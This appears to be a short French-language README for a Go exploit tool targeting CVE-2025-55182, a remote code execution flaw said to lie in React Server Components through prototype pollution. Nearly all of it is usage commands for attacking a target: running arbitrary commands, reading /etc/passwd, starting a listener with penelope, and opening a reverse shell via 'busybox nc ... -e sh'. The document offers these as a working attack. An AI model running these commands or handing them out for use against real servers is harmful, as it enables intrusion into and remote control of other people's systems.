w3nch/cve-2025-55182-in-goExploit basé sur Go pour CVE-2025-55182, réalisant une exécution de code à distance dans les composants serveur React via une pollution de prototype. Prend en charge l'exécution de commandes arbitraires et les charges utiles de shell inversé.
Exploit pour RCE dans React Server Components via une pollution de prototype.
go run main.go -t <target> -c <command>
go run main.go -t http://127.0.0.1 -c "id"
go run main.go -t http://127.0.0.1 -c "ls -la"
go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"
Configuration du reverse shell
penelope -i 0.0.0.0 -p 1337
Utilisez busybox :
go run main.go -t http://127.0.0.1 -c "busybox nc 127.0.0.1 1337 -e sh"
go build -o exploit .